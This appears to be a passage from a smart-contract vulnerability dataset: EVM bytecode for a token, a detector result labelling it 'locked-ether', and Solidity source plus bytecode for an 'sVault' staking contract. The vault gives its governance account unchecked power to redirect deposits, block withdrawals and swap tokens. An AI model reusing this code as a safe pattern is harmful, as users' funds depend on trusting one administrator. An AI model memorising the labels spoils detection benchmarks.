0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f5780632ff2e9dc14610249578063313ce5671461025e5780633f4ba83a1461028957806340c10f19146102a05780635c975abb146102c457806366188463146102d957806370a08231146102fd578063715018a61461031e5780637d64bcb4146103335780638456cb59146103485780638da5cb5b1461035d57806395d89b411461038e578063a9059cbb146103a3578063d73dd623146103c7578063dd62ed3e146103eb578063f2fde38b14610412575b600080fd5b34801561012d57600080fd5b50610136610433565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610443565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a036004351660243561047a565b34801561020457600080fd5b5061020d6104a5565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a03600435811690602435166044356104ab565b34801561025557600080fd5b5061020d6104d8565b34801561026a57600080fd5b506102736104dd565b6040805160ff9092168252519081900360200190f35b34801561029557600080fd5b5061029e6104e2565b005b3480156102ac57600080fd5b50610136600160a060020a036004351660243561055b565b3480156102d057600080fd5b506101366105ad565b3480156102e557600080fd5b50610136600160a060020a03600435166024356105bd565b34801561030957600080fd5b5061020d600160a060020a03600435166105e1565b34801561032a57600080fd5b5061029e6105fc565b34801561033f57600080fd5b5061013661066a565b34801561035457600080fd5b5061029e6106bf565b34801561036957600080fd5b5061037261073d565b60408051600160a060020a039092168252519081900360200190f35b34801561039a57600080fd5b5061015f61074c565b3480156103af57600080fd5b50610136600160a060020a0360043516602435610783565b3480156103d357600080fd5b50610136600160a060020a03600435166024356107a7565b3480156103f757600080fd5b5061020d600160a060020a03600435811690602435166107cb565b34801561041e57600080fd5b5061029e600160a060020a03600435166107f6565b60035460a060020a900460ff1681565b60408051808201909152600b81527f4643616e647920436f696e000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561049457600080fd5b61049e8383610830565b9392505050565b60015490565b60035460009060a860020a900460ff16156104c557600080fd5b6104d0848484610896565b949350505050565b600081565b601281565b600354600160a060020a031633146104f957600080fd5b60035460a860020a900460ff16151561051157600080fd5b6003805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461057557600080fd5b60035460a060020a900460ff161561058c57600080fd5b60035460a860020a900460ff16156105a357600080fd5b61049e8383610a0d565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff16156105d757600080fd5b61049e8383610b17565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461061357600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461068457600080fd5b60035460a060020a900460ff161561069b57600080fd5b60035460a860020a900460ff16156106b257600080fd5b6106ba610c07565b905090565b600354600160a060020a031633146106d657600080fd5b60035460a860020a900460ff16156106ed57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600681527f4643616e64790000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561079d57600080fd5b61049e8383610c8b565b60035460009060a860020a900460ff16156107c157600080fd5b61049e8383610d6c565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461080d57600080fd5b60035460a860020a900460ff161561082457600080fd5b61082d81610e05565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108ad57600080fd5b600160a060020a0384166000908152602081905260409020548211156108d257600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561090257600080fd5b600160a060020a03841660009081526020819052604090205461092b908363ffffffff610e9a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610960908363ffffffff610eac16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546109a2908363ffffffff610e9a16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610a2757600080fd5b60035460a060020a900460ff1615610a3e57600080fd5b600154610a51908363ffffffff610eac16565b600155600160a060020a038316600090815260208190526040902054610a7d908363ffffffff610eac16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610b6c57336000908152600260209081526040808320600160a060020a0388168452909152812055610ba1565b610b7c818463ffffffff610e9a16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a03163314610c2157600080fd5b60035460a060020a900460ff1615610c3857600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610ca257600080fd5b33600090815260208190526040902054821115610cbe57600080fd5b33600090815260208190526040902054610cde908363ffffffff610e9a16565b3360009081526020819052604080822092909255600160a060020a03851681522054610d10908363ffffffff610eac16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610da0908363ffffffff610eac16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610e1c57600080fd5b600160a060020a0381161515610e3157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ea657fe5b50900390565b81810182811015610eb957fe5b929150505600a165627a7a72305820e1dc5fa3131a3c8480bb0942271a0d56ce1723d1d4b7e6669566c5bdf14606d00029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
487
0xc9818a2a525b977b45ae92577911f9d65abdfc40
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract sVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill; uint256 public delayDuration = 7 days; bool public withdrawable; uint256 public totalRate = 10000; uint256 public userRate = 8500; address public treasury; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; treasury = _treasury; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setTotalRate(uint256 _totalRate) external onlyGov { totalRate = _totalRate; } function setTreasury(address _treasury) external onlyGov { treasury = _treasury; } function setUserRate(uint256 _userRate) external onlyGov { userRate = _userRate; } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); uint256 amountUser = amount.mul(userRate).div(totalRate); amount = amount.sub(amountUser); token1.safeTransferFrom(msg.sender, address(this), amountUser); token1.safeTransferFrom(msg.sender, treasury, amount); Reward memory reward; reward = Reward(amountUser, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amountUser); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } function seize(address token, address to) external onlyGov { require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens"); if (token != address(0)) { uint256 amount = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(to, amount); } else { uint256 amount = address(this).balance; payable(to).transfer(amount); } } fallback () external payable { } receive () external payable { } }
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a